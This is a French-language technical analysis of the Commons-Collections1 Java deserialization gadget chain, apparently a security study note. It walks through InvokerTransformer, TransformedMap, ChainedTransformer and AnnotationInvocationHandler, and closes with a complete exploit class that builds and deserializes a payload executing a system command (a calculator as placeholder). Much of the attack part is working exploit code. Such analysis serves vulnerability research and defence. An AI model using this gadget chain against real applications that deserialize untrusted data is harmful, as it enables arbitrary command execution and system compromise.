Cette analyse se concentre sur la chaîne d'exploitation Commons-Collections1 (CC1), testée sur un environnement utilisant le JDK 8u65 et la version 3.2.1 de commons-collections.
Le point d'entrée : InvokerTransformer
Le composant central de cette vulnérabilité réside dans la classe InvokerTransformer. Sa méthode transform permet d'exécuter des méthodes par réflexion sur un objet donné :
public Object transform(Object input) {
if (input == null) return null;
try {
Class<?> instanceClass = input.getClass();
Method targetMethod = instanceClass.getMethod(iMethodName, iParamTypes);
return targetMethod.invoke(input, iArgs);
} catch (Exception e) {
throw new FunctorException(e);
}
}
Puisque le nom de la méthode et ses arguments sont contrôlables lors de l'instanciation, il est possible d'appeler n'impotre quelle méthode. Voici une illustration simpliste utilisant la réflexion standard pour lancer une calculatrice, suivie de son adaptation avec InvokerTransformer :
// Approche réflexion standard
Runtime currentRun = Runtime.getRuntime();
Class<?> runClass = Runtime.class;
Method execFn = runClass.getMethod("exec", String.class);
execFn.invoke(currentRun, "calc");
// Utilisation de InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
transformer.transform(currentRun);
Déclenchement via TransformedMap
Pour exploiter cela, nous devons trouver une classe qui appelle automatiquement transform. La classe TransformedMap est une candidate idéale car elle traite les entrées via des transformateurs lors de la modification des données du dictionnaire.
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
En utilisant la méthode statique decorate, nous pouvons encapsuler une HashMap existante avec notre transformateur malveillant. Cependant, l'exécution n'aura lieu que si nous appelons setValue sur une entrée de la Map.
HashMap<Object, Object> innerMap = new HashMap<>();
innerMap.put("testKey", "testValue");
Map<Object, Object> securedMap = TransformedMap.decorate(innerMap, null, transformer);
for (Map.Entry entry : securedMap.entrySet()) {
entry.setValue(currentRun); // Déclenche l'appel à transform
}
Le Gadget de Deserialisation : AnnotationInvocationHandler
L'objectif final est de déclencher cette chaîne lors d'un appel à readObject. La classe sun.reflect.annotation.AnnotationInvocationHandler possède une méthode readObject qui itère sur une Map et appelle setValue.
Plusieurs obstacles doivent être surmontés :
- L'objet
Runtimen'est pas sérialisable. - La logique interne de
readObjectcontient des conditionsifstrictes basées sur les types de membres d'annotation. - La valeur passée à
setValuen'est pas directement contrôlable.
Pour résoudre le problème de sérialisation et de contrôle des valeurs, nous utilisons ChainedTransformer et ConstantTransformer. Le ChainedTransformer permet de lier plusieurs transformations :
Transformer[] chain = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", null }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, null }),
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { "calc" })
};
ChainedTransformer executorChain = new ChainedTransformer(chain);
Construction du Payload Final
Pour contourner les vérifications dans AnnotationInvocationHandler, nous utilisons l'annotation Target.class qui possède un attribut nommé value. La clé dans notre Map doit donc s'appeler "value".
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Exploit {
public static void main(String[] args) throws Exception {
// Construction de la chaîne de commande
Transformer[] actions = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer combinedTransformer = new ChainedTransformer(actions);
// Préparation de la Map
Map<Object, Object> initialMap = new HashMap<>();
initialMap.put("value", "payload");
Map<Object, Object> proxyMap = TransformedMap.decorate(initialMap, null, combinedTransformer);
// Instanciation de AnnotationInvocationHandler via réflexion
Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> cons = handlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
Object exploitInstance = cons.newInstance(Target.class, proxyMap);
// Sérialisation
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(buffer);
out.writeObject(exploitInstance);
// Désérialisation (Simulée)
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(buffer.toByteArray()));
in.readObject();
}
}
Lors de la désérialisation, readObject de AnnotationInvocationHandler récupère l'entrée de la Map. Puisqu'il existe un membre nommé value dans l'annotation Target, il appelle setValue. Cet appel est intercepté par TransformedMap, qui exécute la chaîne de transformateurs, aboutissant à l'exécution de la commande système.